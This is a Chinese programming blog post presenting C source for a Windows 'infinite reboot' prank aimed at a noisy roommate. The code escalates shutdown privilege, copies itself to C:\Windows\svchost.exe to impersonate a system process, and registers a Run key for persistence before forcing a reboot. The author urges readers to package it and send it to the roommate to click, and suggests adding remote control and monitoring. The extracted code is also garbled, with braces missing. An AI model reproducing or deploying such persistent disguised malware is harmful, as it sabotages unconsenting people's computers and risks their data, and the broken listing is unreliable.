C语言30行代码写出无限重启程序,室友太吵怎么办?

Posted MAX在码字

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了C语言30行代码写出无限重启程序,室友太吵怎么办?相关的知识,希望对你有一定的参考价值。

目录

嗨,这里是狐狸~~

基本思路📝

注册表

代码解析📝

总结

视频讲解


路漫长而阔远,一片星空美到寂。

嗨,这里是狐狸~~

今天是2022年1月6日,时间飞逝啊,很多同学都已经放寒假了吧,真的很羡慕放假的同学们。先给大家透个底,今天这个项目厉害了,今天做个恶搞程序,这也是很多年前做的项目了,那时室友天天通宵打游戏,弄得我整晚整晚的睡不着,之后便有了这个无限重启程序,可以说打着之后她再也不敢通宵打游戏了,嘿嘿,现在觉着也满是怀念啊。

 

基本思路📝

<Windows.h>

运用<Windows.h>头文件,这就是说在这个程序只针对去Windows操作系统,其他的不行。

注册表

通过注册表实现开机自启,这样才能无限重启。

其他的就很简单了,主要是Windows自带的功能,我们调用并进行无限循环操作就好了,嘿嘿。

代码解析📝

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

int WINAPI WinMain(HINSTANCE hInstance , HINSTANCE hPreInstance ,LPSTR lpCmdLine , int nCmdShow)

	//无限重启

	//调整权限
	HANDLE hToken;
	OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
	//查看特权值
	LUID luid;
	LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luid);
	//调整权限
	TOKEN_PRIVILEGES tkp;
	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tkp.Privileges[0].Luid = luid;

	AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);

	//开机自启动
	//计算机\\HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

	HKEY hKey;
	if (ERROR_SUCCESS != RegOpenKeyEx(HKEY_CURRENT_USER, L"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run", 0, KEY_ALL_ACCESS, &hKey))
	
		printf("打开注册表失败.\\n");
		return 0;
	

	//获取当前exe路径
	wchar_t szAppPath[260];
	GetModuleFileName(NULL, szAppPath, MAX_PATH);

	wchar_t szObjPath[260]=L"C:\\\\Windows\\\\svchost.exe";
	//自我复制
	CopyFile(szAppPath, szObjPath, FALSE);

	//写入注册表
	RegSetValueEx(hKey, L"svchost", 0, REG_SZ, (const BYTE*)szAppPath, 260);

	//关闭注册表
	RegCloseKey(hKey);

	//启动新的程序
	STARTUPINFO si =  sizeof(STARTUPINFO) ;
	PROCESS_INFORMATION pi = 0;
	CreateProcess(NULL, szObjPath, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

	//MessageBox(NULL, szAppPath, L"提示", MB_OK);
	//黑窗口效果
	//system("shutdown -r -t 0");

	//重启,关机,注销
	ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
	//MessageBox(NULL, L"运行了", L"标题", MB_OK);

	return 0;

总结

         今天代码是非常之少的,满打满算30行都不到,所以说每一行都很重要,没有啥繁琐的定义之类的,对了,这是用到Windows的库,所以只支持Windows系统,如果你是苹果系统可能就没有效果了,提前说一下,然后就是自己千万不要轻易尝试,不然就把自己玩进去了,刚开始我第一次运行的时候弄了我一下午没解决,还是请教老师最后才解决的,都是泪啊。对了,这个不用你室友有编译器,你自己打包好,发给你的室友,他只要点开,嘿嘿。

        当然啦,这个程序我之后也做了许多的优化,比如说,开机之后你得先玩一个贪吃蛇游戏,赢了就饶了你,输了就要重启,总之就是非常难受,或者你还可以加上网络编程,远程控制或者远程监控都是可以的,非常的牛逼,也是非常的有趣。想要这些的可以加群领取C/C++学习资料以及其他项目的源码的可以加群【1083227756】了解。想要对程序员的未来发展有兴趣的可以关注微信公众号:【狐狸的编码时光】,希望和大家一起学习进步!

视频讲解

感兴趣的可以点下方的链接去看看视频讲解,会更容易理解。

https://www.bilibili.com/video/BV1Sb4y1e76X/https://www.bilibili.com/video/BV1Sb4y1e76X/

 

以上是关于C语言30行代码写出无限重启程序,室友太吵怎么办?的主要内容,如果未能解决你的问题,请参考以下文章

怎么用C语言编写cmd无限循环

舍友每晚LOL到凌晨一两点,吵得我睡不着,我该怎么给他建议

linux下用c语言写出复制黏贴文件

C语言 循环与时间函数的问题,求大神教!我实现了有加分!

怎么才能让有源蜂鸣器断断续续的响,有那种报警声,一直响太吵,要简单的方法,求帮助。

c语言读程序写出执行结果,求高手帮忙解答